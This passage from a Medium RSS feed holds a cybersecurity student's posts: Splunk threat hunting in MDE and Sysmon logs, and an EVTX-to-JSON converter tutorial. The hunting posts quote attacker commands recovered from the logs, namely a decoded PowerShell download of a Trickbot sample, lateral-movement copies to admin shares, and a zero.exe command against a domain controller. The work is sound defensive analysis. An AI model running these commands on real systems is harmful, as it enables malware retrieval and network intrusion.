“C:\Users\H**********\AppData\Local\Temp” into memory, with the parent process being “cmd.exe”.</p><p>b) The Second event indicates that the user “h**********” executed the “regsvr32.exe” process, which loaded the DLL file “87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4.dll” located in the temporary directory “C:\Users\H**********\AppData\Local\Temp” into memory. The parent process of “regsvr32.exe” was another instance of “regsvr32.exe”.</p><p>c) The “esentutl.exe” process was created with the command line argument to perform a specific operation (“/p /o C:\Users\H***********\AppData\Local\Temp\grabber_temp.edb”). The parent process of “esentutl.exe” was “svchost.exe”.</p><h4><strong>6. Outbound Connections:</strong></h4><ul><li>To investigate outbound connections to external IP addresses i have used the query below:</li></ul><pre>index=&quot;csv_files&quot;   | search &quot;Action Type&quot;=OutboundConnectionToWebProtocol| top limit=20 &quot;Remote IP&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*53Fmp6CZonXzJGiauCqAUg.png" /></figure><p>With this query I have looked at statistics tab and as you can see 19 outbound remote IP addresses most of them appear to be malicious according to <a href="https://www.virustotal.com/gui/home/upload">Virus total</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*8jTiMqsKR03aYlWlJ_KL2g.png" /><figcaption>In this table I have color coded malicious and clean IP addresses respectfully with red and green.</figcaption></figure><p>7. <strong>A Brief Threat Hunting:</strong></p><p>At this point I wanted to go back to dig a bit deeper for the newly found DLL file .</p><ul><li>Search query with the filename:</li></ul><pre>index=&quot;csv_files&quot;  87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4.dll | reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLjkzTL5X3-ZOIyNWt17Yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nBycFDIsiMTd5kH1fQD0jQ.png" /></figure><p>Seems like there are no information about how it has been created but I have the hash of it which is strangely same as the filename.Checking in Virustotal confirms that is flagged malicious by huge number of vendors.</p><p>In one of my <a href="https://medium.com/@salim.y.salimov/base64-code-in-malicious-macro-a9bf9b20a49a">previous articles here</a> I wrote about that attackers often can use Powershell commands to download and execute malware apps using base64 in powershell command. This might be the reason why I cannot find where this file coming from. To check my hypothesis I am going to include in a new search query some information from the event above without the file name.</p><pre>index=&quot;csv_files&quot; &quot;Action Type&quot;=FileCreated AND<br> &quot;Computer Name&quot;=&quot;win81.lakestatebank.local&quot; AND &quot;powershell.exe&quot; AND &quot;EncodedCommand&quot;<br>| reverse</pre><p>Here I was looking for file created in this computer with powershell.exe runing a command that includes EncodedCommand. As a result Splunk returned three events with a base 64 in a powershell command line:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2R28OWha4iH7EzV4xnFHdQ.png" /></figure><p>what I have done next is decoded this base64 code using <a href="https://gchq.github.io/CyberChef/">CyberChef</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G83oaxhDTyUQ2dS4OsbEXg.png" /></figure><ul><li>So I have a human readable command line that has been executed with powershell:</li></ul><pre>Invoke-WebRequest -Uri https://mb-api.abuse.ch/api/v1/ -Method POST -Body &quot;query=get_file&amp;sha256_hash=87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4&quot; -outfile C:\users\1.zip</pre><p>To my understanding this command line makes a Post request to the given url to download a file by it’s hash (<em>not by the file name , which explains why the file I found earlier has it’s hash as a filename</em>) then saves it wrapped in a zip file to C:\users\1.zip</p><ul><li>To have this confirmed I just copied this powershell command line and edited/changed the download path to a folder in my desktop created specially for it and run this command on my machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9gvcfXCNittWsJN2UapMg.png" /><figcaption>A password protected file 1.zip has been downloaded to the pointed location.</figcaption></figure><p>With quick research on internet I have found that the <a href="https://mb-api.abuse.ch/">url </a>malicious file has been downloaded from is a legitimate website that provides malware samples and the samples come in compressed zip files with a Password: “infected” . Now I can use this password to extract the file and investigate further using other tools if needed. I can also check what the website provides as info about it too:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*vFp81KXlzz1JWDwdY8OKMw.png" /><figcaption>tags Bazaarcall , Trickbot</figcaption></figure><ul><li><strong>After has been downloaded the file seems has been unzipped,moved, renamed and executed by other processes.</strong></li></ul><p><strong>But the question how this file came to this computer ? — still remains. What initiated powershell to download this file?</strong></p><ul><li><strong>I went back to the latest log to see what was the parent process?</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9FRdI8egk57R1TkiIXXkg.png" /></figure><p>As we can see its file name is Velociraptor.exe and process id is 1732. I am a step closer but yet I don’t know how attacker made its way into the company.</p><ul><li>Seems I have run out of ideas how to reach to the initial access file using only MDE logs , might be another powershell command line from a powershell script (.ps1) I have seen many of them in the logs but not sure which one to dig into.</li></ul><p><strong>8. Document Findings</strong></p><ul><li>I put all finding in notes and created a table that i can use with another tools to investigate further.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGfWwug0BJLKEWM-MTLPoA.png" /></figure><p>Thanks to Everyone for stopping by and reading my article, hope you have enjoyed it. See you soon again in the Part 2 of this mini series.</p><blockquote>Tools and resources used in this blog:</blockquote><blockquote><a href="https://linuxmint.com/">Linux Mint</a> — my running OS</blockquote><blockquote><a href="https://www.splunk.com/">Splunk</a>-with Free License</blockquote><blockquote><a href="https://www.proxmox.com/en/">Proxmox</a> Home Lab , Windows11 Vm</blockquote><blockquote><a href="https://maltrak.com/cheatsheet-sales-page">Cheatsheet </a>and Artifacts provided from my mentors at <a href="https://maltrak.com/">Maltrak.com</a></blockquote><blockquote>Story preview image from: <a href="https://freerangestock.com/">https://freerangestock.com/</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb6c30526e5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Hassle-Free EVTX to JSON Converter not only for Windows but Linux and Mac OS too]]></title>
            <link>https://medium.com/@salim.y.salimov/a-hassle-free-evtx-to-json-converter-not-only-for-windows-but-linux-and-mac-os-too-82adc4d9d158?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/82adc4d9d158</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[evtx]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[mac-osx]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sat, 16 Dec 2023 11:35:38 GMT</pubDate>
            <atom:updated>2023-12-16T14:38:38.711Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Ahoy, readers, friends, newbies, and pros! Big thanks for dropping by my blogs. Hope you enjoy this one too.</strong></h3><p><strong>==============================================================</strong></p><p><strong>As a cybersecurity student I do face up many new challenges on my way building up my knowledge and skills, then finding a good solutions makes this field so interesting and exciting.</strong></p><p><strong>Today I am going to share with you how did I manage to go over one of these difficulties.</strong></p><p><strong>If you are a mainly Linux user as I am , or you maybe learning Linux and want to explore it’s capabilities , you probably have been In a situation when you need a simple tool which is not available or hard to find it in the internet universe.</strong></p><p>Recently, I encountered a situation where I wanted to use Splunk on my Linux machine to analyze an EVTX file. While Splunk works perfectly fine on Linux, unfortunately, I had to find out the hard way that Splunk cannot process EVTX files in a Linux environment. As EVTX files contain events and logs that are structured in a way that is closely tied to the Windows operating system.</p><p>In this situation I had to convert the EVTX to a more universally readable format to be able to upload the logs into Splunk.</p><p>Since Evtx files do not like much Linux environment was not easy to find a tool to convert them that work in Linux . Of course some can say use another computer running Windows OS or Virtial Machine machine running windows to convert the Files. There are few modifications or variants of a python script called evtx2json available for Windows. And yes I did try exactly that , just to spend more time to find that not all scripts working great even in Windows environment. Then I came across a cross platform free tool for converting evtx files , and I owe a massive thanks to its creator . The tool proved to be not only easy and quick but, most importantly, available for Linux and Mac users.</p><p>To keep the long story short I am jumping straight into the demonstration and will walk you through the process from finding , downloading and using this little great tool on a way for Linux beginners .</p><p>===============================================================</p><h3>Downloading</h3><p>Lets start by googling for “evtx dump” — <strong>most likely</strong> it will appear on the top of the results, a<a href="https://github.com/omerbenamram/evtx"> github link </a>and if you follow the screenshots by clicking the marked places you will be downloading the gnu Linux version . By the way Mac OS users can also benefit of this tool as the author made a version for them too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9JiY0TEHsooNqSe8T_KPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfiX7d1C-S6tNc8YV89DDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngvcyJ7QjEa1agZx3Wlgkw.png" /></figure><ul><li>to keep things simple and organiazed I have created a folder named it EVTX_CONVERTER and placed downloaded tool/file in it, created couple of other folders beside the tool “input” folder to keep my evtx files and “converted_files” folder to store the the newly converted files in it.</li><li>Also renamed the tool file name to something very short “evtxd” if I need to type the name somewhere in the terminal , that would be much easier .</li><li>And one more thing , probably the most important is to make it executable. This normally is done quickly from terminal using command “chmod +x” but as I have promised this demo is for help of people on Linux beginner level, so for these friends</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*1orR_CpIuQNLagdZEAZWkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9XF6Lh-OHOSZePAhmta-g.png" /></figure><p>you can right click on the file choose properties and on the properties click on permissions tab then tick the check box to allow executing file as program. And all ready for next step.</p><h3>Preparing</h3><p>As this is not a Gui application the Command Line Interface still needs to be used</p><ol><li>Navigating into the EVTX_CONVERTER folder with the file browser</li><li>Then Right click in any empty space will give us an option to open in terminal</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*KL9Cxp9cqDDe4H7gEYghlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*NF4Isc6eECy7ukUfPH9PlA.png" /><figcaption><strong>This step will open the terminal in this directory as seen on the screenshots</strong></figcaption></figure><p>3. Now we need to find out how to use the tool. Either by reading any readme files if provided by the author or Executing the program tool with</p><p>‘“- -help” flag in the terminal like this :</p><pre>evtxd --help</pre><p>Executing can be done in two ways just by typing the file name (as the terminal is open in this directory already) or simply dragging-dropping it into the terminal (this will use full path to the file which is also fine) and then adding “- -help” and press ENTER, will make an output of all available options for using the tool , collecting the ones needed for our goal: to convert the evtx file into a json form at.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDZWH2PXf8cGLDdbaSNxzw.png" /><figcaption>no need of two terminals here just wanted to capture all steps in one screenshot</figcaption></figure><p>4. From the output i understood that i need to use a command in following format :</p><pre>evtxd -o json -f &lt;put_anything_as_filname&gt;.json   &lt;theEvtxfile&gt;</pre><p>This is the command break down :</p><blockquote>evtxd — — is our tool name</blockquote><blockquote>-o is the output format which id going to be json</blockquote><blockquote>-f is the new file creating and named as per your wish with .json extention</blockquote><blockquote>and the last bit is the original evtx file(path to the file )</blockquote><p>5. Next I have opened 4 windows in front of me for easy operations.</p><ul><li>the main folder to be able to see the tool file.</li><li>terminal on its side.</li><li>the input folder that contains the original file.</li><li>a text document where is written the code that I need to run replacing the fields needed.</li></ul><h3>Converting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfnPCL-gJ_rSMOkJ3barkg.png" /></figure><p>Runnung the command simplest way by drag and dropp the files</p><p>1 drag and drop the tool in the terminal</p><p>2 type in</p><pre>-o json - f kerberos.json</pre><p><em>I have chosen to name the new file kerberos you can choose any</em></p><p>3 drag and drop the original evtx file</p><p>4 press ENTER</p><p>Result: New json file is created in the folder where is the terminals working directory(The location where we chose to open the terminal)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMr-gqW8WLLQeZTnkcJSSA.png" /><figcaption>If I had terminal open in “converted_files” folder the new file would have been created in there.</figcaption></figure><h3>Uploading to Splunk</h3><p>Now can go ahead and upload the new Json file (kerberos.json in my case) in the Splunk as shown in the screenshots bellow by opening Splunk then add data and going through normal steps it is loading the file and we can do our analysis as normal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RLDvXAIFtYQo8kt5eMc2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAz5hlDzewPnnMPyB5kkMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qwC97sEFCH9nuj7M0nc-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_L80qxIW-NIG2Qt3u0_bA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPI47TMwlYKUvpUzltX8eQ.png" /></figure><p>I hope this article was interesting and useful. Thank you so much for reading, and I See you in the next blog. Wishing everyone a wonderful Christmas and New Year celebration.</p><blockquote>for refferance :</blockquote><blockquote>the evtx_dump tool downloaded from <a href="https://github.com/omerbenamram/evtx/releases/tag/v0.8.1">https://github.com/omerbenamram/evtx/releases/tag/v0.8.1</a></blockquote><blockquote>in this blog i have been using Linux Mint 21.1 Cinnamon <a href="https://linuxmint.com/">https://linuxmint.com/</a>0/90</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82adc4d9d158" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malware in Sysmon Log with Splunk]]></title>
            <link>https://medium.com/@salim.y.salimov/hunting-malware-in-sysmon-log-with-splunk-ccdfe67182d0?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccdfe67182d0</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Tue, 28 Nov 2023 17:21:38 GMT</pubDate>
            <atom:updated>2023-11-28T17:21:38.494Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting Malware in Sysmon Logs with Splunk</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZ5PyRZoC2f3uvhCdvcRMA.png" /></figure><h3><strong>Hello Medium,</strong></h3><p><strong>Today my story is about finding malicious activities after an infection brought to a company network by a malicious document .</strong></p><h3><em>Few words about the Tools I will be using__________</em></h3><h4><em>1. A sample EVTX log file created by Sysmon. (file name: 5295-win82-sysmon.evtx)</em></h4><h4><em>Sysmon is a Microsoft Windows system activity logging tool. It’s logs can be viewed and analyzed using the Windows integrated Event Viewer or various SIEM (Security Information and Event Management) tools, such as Splunk or ELK (Elasticsearch, Logstash, and Kibana).</em></h4><p><em>You can click </em><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon"><em>here</em></a><em> for more about Sysmon.</em></p><h4><em>2.Splunk — is a tool for analysis of machine-generated data,including logs, events, and other data sources, that has option to use for free with limitation of 500mb per day to be uploaded .</em></h4><p><em>More about Splunk you can find on </em><a href="https://www.splunk.com/"><em>official website </em></a><em>.</em></p><h3>Installing splunk _____________________________</h3><p>To <a href="https://www.splunk.com/en_us/download/splunk-enterprise.html">download </a>you will need to create a free account in their website .</p><p>To get the free version First you need to download and install Splunk Enterprise trial version then going into<strong> Settings→Licensing→Change license group</strong> and select <strong>Free license</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oa4UqF1G2iQ21EEcbCetLg.png" /></figure><h4><strong>UPLOADING THE LOG FILE INTO SPLUNK________________________</strong></h4><p>To upload the log file to Splunk (in my case this is <strong><em>5295-win82-sysmon.evtx</em></strong>) I need to find and click add data button. It supposed to be somewhere on Splunk main page but when I have chosen free license the contents of the left side panel became unavailable . Nothing to worry as everything still works fine accessing whatever we need from drop down menu buttons. If I click on Settings I have Add data button from where I can upload my logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qznNV7jka3fW7xo_tiDIXg.png" /></figure><p>So all steps to upload are as follow:</p><p><strong><em>Settings → Add Data → Upload files from my computer→ Select file ( or just drag and drop ) → Next → Next→ Review→ Submit → Start searching</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5nJRstLbP18Uyk-Ww6jgWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4QcY3Xo1rbTehje2sbO9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOjQmh6tHg1VCN1dhjI5Cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oztVQYigwX14DEXJki7uKQ.png" /></figure><p><strong><em>After all this steps done and pressed start searching we end up on the following window with automatically generated first search query and no results. This is because Splunk has converted the SysmonEvtx file to a readable text and this queries marked with red in the screenshot below , not needed and I am going to delete them leaving only the source query , We also need to check the Time range — by default it is set to show logs from Last 24hours. I have changed to show all logs by setting it to All time.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qbv_QBsDIRYg1ObQiuQ8sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4jQ2OwJ3QmEaTbmzJUtsoQ.png" /></figure><p><strong><em>Now we have all the logs loaded and everything is ready to start searching and investigating.</em></strong></p><h3><strong>THE HYPOTHESIS______________________________</strong></h3><h4><strong>Having hypothesis is a solid starting point for investigating a potential security incident involving logs. It outlines a common attack scenario involving a document with a malicious macro and the victim being tricked into enabling the macro, resulting in the execution of malicious commands and system infection.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*tUXZHBfARZq9XnZSGt_efw.png" /></figure><p><em>In a couple of my previous blog posts, I delved into the characteristics of malicious macro codes and explored how attackers can create documents embedded with such codes. Feel free to check them out for a more in-depth understanding.You can check them out </em><a href="https://medium.com/@salim.y.salimov/how-a-hacker-can-get-access-to-your-computer-3090ed05a2d3"><em>by clicking here </em></a><em>and </em><a href="https://medium.com/@salim.y.salimov/base64-code-in-malicious-macro-a9bf9b20a49a"><em>here</em></a><em> .</em></p><h4>What I will be looking to discover?</h4><h4>1. Initial access — What is the time when Any malicious file or process appeared for first time in victims system?</h4><h4>2. Malware installation — What malicious files and processes Attacker has used?</h4><h4>3. Communications — What IP addresses or domains he has used to infect the system?</h4><h3><strong>INVESTIGATION_______________________________</strong></h3><p>Because I suspect the system has been compromised by a malicious macro within a Microsoft Office document, the first thing i am going to search for will be the ‘winword.exe’ process, which is commonly associated with opening Microsoft Office documents, especially Word documents. Also I would like to add <strong>EventCode=1</strong> to filter the search results to show only <em>process create</em> logs.</p><p><em>Sysmon categorizes different types of events in its logs and associates them with specific event ID numbers for easy reference, as illustrated in the table below:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*5PsINdjZhoX2RrPSDR70cA.png" /><figcaption>I will be referring to this table every time i analyse a log or make a search query</figcaption></figure><p>So my first query will look like this :</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; winword.exe EventCode=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4gWtLnHV3FNhoGsuc0H0g.png" /></figure><p>Couple of events returned as a result and both events showing that <strong>winword.exe</strong> has been involved opening a document file named <strong>0714_6656030531.doc </strong>from this location: <strong>C:\Users\jerry.knapp\Downloads</strong></p><p>Splunk by defaults displays the newest events first, I will use the ‘| reverse’ command to view events in chronological order.</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; winword.exe EventCode=1<br>| reverse </pre><p>I proceeded to expand the logs and take a more detailed look for additional information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZMf9I8KuunVlfraD7bC6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4m-g5ZXvWzO8IqEifv0SQ.png" /></figure><p>What I have discovered so far :</p><p>the document named <strong>0714_6656030531.doc </strong>has been opened from <strong>C:\Users\jerry.knapp\Downloads</strong> → Rundll32.exe has been executed (when a macro has been enabled by the victim)→ rundll32.exe process has been created with a specific command line that includes the path to ier.dll</p><p>But these are not the initial malicious activities. The document must have made its way to the victims computer on an earlier stage .I have searched for this document with EventCode=11 to see when exactly this file has created.</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; 0714_6656030531.doc EventCode=11 </pre><p>Splunk returned a single event log ,where I can find the answer.Document has been downloaded using msedge.exe (Microsoft Edge Browser).Then i set time range to see logs only after this time as shown on the screenshots below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cx_nhP7_djw_Opf3off1oA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvVBsVAX3dLC0ejSYO4YQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Hm8UYuJcYv-UZ_OBpNzmw.png" /></figure><p>Next I decided to find more about <strong>ier.dll</strong></p><pre>source=&quot;5295-win82-sysmon.evtx&quot; ier.dll<br>| reverse</pre><p>Results returned couple of events showing that RUNDLL32.EXE has first been created as process “EventCode=1”-(this is the same log i have seen earlier). The other log shows EventCode=7 (<strong>image loaded — </strong>according to Event IDs table ) and No information available when checked it’s hash on VirusTotal as can be seen in screenshots below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQregAWuz8bttdqO5hgr0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0og30myB4kmGUV3fyZSlw.png" /></figure><p>It is very common Attackers to obfuscate their malicious code by modifying legitimate Windows components . I have been wondering if there are other processes created and executed in same way . Searched for process creation events(EventCode=1) with rundll32.exe.</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; rundll32.exe EventCode=1<br>| reverse</pre><p>Found that the rundll32.exe created cmd.exe process with a command to copy Gas.exe to location on another internal network ip (another pc) on the next log the Gas.exe has been executed. Also By quick search for Gas.exe alone i found that it is created by svhost.exe - another windows application that might have been employed by attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6B7z7lXJWFzcahPhvXeU6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLXd83TyS10OQ-Qtb8aUQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXy-6oylLAOZJnTxMqDnOA.png" /></figure><p>Following events happened in sequence:</p><p>“Net view” has been used to get a list of computers and network devices on the network . The “net group“ ”command has been used to add, delete, or manage groups on servers:</p><blockquote><strong>C:\Windows\system32\cmd.exe /C net view /domain C:\Windows\system32\cmd.exe /C net group /domain</strong></blockquote><p>In the The next event log I can see cmd .exe has executed zero.exe then some command argument has been given to zero.exe — seems like an IP address , DomainController , domain name then possibly passed some other command or script to be completed by powershell.exe</p><blockquote><strong>C:\Windows\system32\cmd.exe /C zero.exe 10.100.100.20 DC1 lakestatebank.local administrator -c “powershell.exe”</strong></blockquote><p>Remote command for listing directory of the root of the C drive has been executed with this command :</p><blockquote><strong>C:\Windows\system32\cmd.exe /C dir </strong><a href="https://10.100.100.20/c$"><strong>\\10.100.100.20\c$</strong></a></blockquote><p>The next bunch of commands that I have collected from rest of the event logs from the last search results , the Attacker is copying <strong>cor.dll </strong>and <strong>cor.bat </strong>files to different machines in same network. This actions looks like lateral movement.</p><blockquote>C:\Windows\system32\cmd.exe /C copy cor.dll <a href="https://10.100.100.20/C$/programdata">\\10.100.100.20\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.bat \\10.100.100.20\C$\programdata</blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.bat <a href="https://10.100.100.62/C$/programdata">\\10.100.100.62\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.dll <a href="https://10.100.100.62/C$/programdata">\\10.100.100.62\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.dll <a href="https://10.100.100.67/C$/programdata">\\10.100.100.67\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.bat <a href="https://10.100.100.67/C$/programdata">\\10.100.100.67\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.bat <a href="https://10.100.100.21/C$/programdata">\\10.100.100.21\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.dll <a href="https://10.100.100.21/C$/programdata">\\10.100.100.21\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.dll <a href="https://10.100.100.68/C$/programdata">\\10.100.100.68\C$\programdata</a></blockquote><blockquote>C:\Windows\system32\cmd.exe /C copy cor.bat <a href="https://10.100.100.68/C$/programdata">\\10.100.100.68\C$\programdata</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*nZWiXVt0b2YoVGjdkA_vJg.png" /></figure><p>Taken notes of some suspicious files and I am going to investigate the ones i found recently. Starting with Zero.exe :</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; zero.exe</pre><p>There are 14 events with zero.exe in them.On the left panel in SPLUNK there is a list of<em> </em><strong>Interesting fields</strong>. In there when I click on EventCode i can see all the available event codes for this file and also just by clicking on one of them can easily add it to search query. So I clicked on 11 (file creation event) to add it to search . In theresults I saw two separate events creating the zero.exe file into two separate locations — one created by rundll32.exe other one by svhost.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y13_6_h-n2JquQJNZyxU0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wjzf7ixbOgX6Zw-FYwFIMQ.png" /></figure><p>This proves my theory i mentioned earlied that attacker has abused both legitimate Windows components rundll32.exe and svhost.exe and he is using them to execute his commands remotely avoidinf Antivirus and EDR detections.Lets fully uncover this file and its activities . Checking all event codes associated to this file i have found following information:</p><p><em>EventCode 3- Network connection — communications between the victims computer and domain controller 1(DC1 — IP 10.100.100.20)</em></p><p><em>EventCode 1- process create - multiple ways executing cmd.exe with command string:</em></p><blockquote>C:\Windows\system32\cmd.exe /C zero.exe 10.100.100.20 DC1 lakestatebank.local administrator -c “powershell.exe”</blockquote><p><em>EventCode 22-DNS Query - zero.exe made couple of time dns requests to DC1 ip address</em></p><p><em>EventCode 7- image loaded — not much information available in the log itself , but there are hashes of the zero.exe file and that has been detected in Virus total as malware. Splunk has associated the process with:</em></p><p>technique_id=T1073,technique_name=DLL Side-Loading</p><p><em>more about attacker’s TTPs(</em>Tactics, Techniques, and Procedures) can be found in <a href="https://attack.mitre.org/techniques/enterprise/">MITRE ATT&amp;CK website</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y13_6_h-n2JquQJNZyxU0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wjzf7ixbOgX6Zw-FYwFIMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a3x1Xo8POmB0ATTWJ7dwpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ytP8DgmrXXIIC47rVHh2gg.png" /></figure><h3>___NETWORK COMMUNICATIONS___</h3><p>To find out network communications events i use this query</p><blockquote>source=”5295-win82-sysmon.evtx” EventCode=3 <br>| reverse</blockquote><p>And by scrolling throw the events i want to see which ip addresses have been connected to from the victim’s machine and from from any other computer in the local network.I put all the external Ip and domains that i find in my notes for further investigation later.</p><p>It seems like all communications happens through the victims computer :</p><h4>“IP= 10.100.100.28 , ComputerName=Win82.lakestatebank.local”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*2p5n_y2Oc_jY4cZTSLds9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QraoQH6cgbHD0lCc-9Mk5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOr_tq8-1ZxREv8CsZquyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YtfcoR1BzEvqKr47HT6CBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBgFMtXe0HBeSm7uQw06CQ.png" /></figure><p>In Virus total two detected as malicious and two appear “clean”. But the ones that not detected still look suspicious to me, one of which is associated to AWS cloud platform and attacker may have used virtual machine instance to send his malware</p><p>I wanted to find out bit more about this two undetected Ips , so have placed this query in the search bar</p><pre>source=&quot;5295-win82-sysmon.evtx&quot;  8.211.241.0 OR 50.16.216.118<br>| reverse</pre><p>From the results i went on available EventCodes and have chosen the 22 as 3 i had already seen . Checked on my Event IDs table to see what 22 represents. And this is DNS query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zEC9rTzbBGP9Z6u4WRZAlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oKpDCOmq4p3SPVuEpPTWKg.png" /></figure><p>What i understood is the rundll32.exe made DNS query these two IPs reaching out to some malicious domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V31IW_AE9gGa2z0SIb3grA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFoS-hJX4BkbOfSJatswkQ.png" /></figure><h3>Final thoughts</h3><p><em>A lot more can still be discovered in this Log file . But now i can say i have enough pieces of the puzzle to be able to see the basic picture 